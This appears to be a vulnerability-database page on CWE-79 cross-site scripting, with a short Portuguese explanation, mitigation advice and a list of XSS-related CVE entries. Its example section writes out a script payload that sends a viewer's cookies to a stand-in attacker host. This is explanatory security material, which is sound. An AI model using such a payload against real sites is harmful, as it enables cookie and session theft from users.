Fallos del tipo CWE-79

29.655 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-2399MEDIUMPremium Addons for Elementor <= 4.10.23 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-27237MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-54041MEDIUMAdobe Connect | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-11385MEDIUMPure CSS Circle Progress bar <= 1.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-50708MEDIUMFrappe Framework 17.0.0-dev - Stored XSS in Multi Select Dialog result renderingEPSS 0.4%CVE-2022-25629MEDIUMAn authenticated user who has the privilege to add/edit annotations on the Content tab, can craft a malicious annotation that can be executeEPSS 0.4%CVE-2024-12232MEDIUMcode-projects Simple CRUD Functionality index.php cross site scriptingEPSS 0.4%CVE-2024-1348MEDIUMShortcodes and extra features for Phlox theme <= 2.15.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom JSEPSS 0.4%CVE-2025-22547HIGHWordPress JK Html To Pdf plugin <= 1.0.0 - CSRF to Stored XSS vulnerabilityEPSS 0.4%CVE-2026-41240MEDIUMDOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)EPSS 0.4%CVE-2023-5892MEDIUMCross-site Scripting (XSS) - Stored in pkp/pkp-libEPSS 0.4%CVE-2025-32699LOWPotential javascript injection attack enabled by Unicode normalization in Action APIEPSS 0.4%CVE-2024-10086MEDIUMConsul Vulnerable To Reflected XSS On Content-Type Error ManipulationEPSS 0.4%CVE-2024-2280MEDIUMBetter Elementor Addons <= 1.4.1 - Authenticated(Contributor+) Stored Cross-Site Scripting via widget linksEPSS 0.4%CVE-2025-22522HIGHWordPress SingSong plugin <= 1.2 - CSRF to Stored XSS vulnerabilityEPSS 0.4%CVE-2024-12593MEDIUMPDF for WPForms + Drag and Drop Template Builder <= 4.6.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via yeepdf_dotab ShortcodeEPSS 0.4%CVE-2026-7481HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.4%CVE-2024-30953MEDIUMA stored cross-site scripting (XSS) vulnerability in Htmly v2.9.5 allows attackers to execute arbitrary web scripts or HTML via a crafted paEPSS 0.4%CVE-2024-2328MEDIUMReal Media Library <= 4.22.11 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-49458MEDIUMDOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checksEPSS 0.4%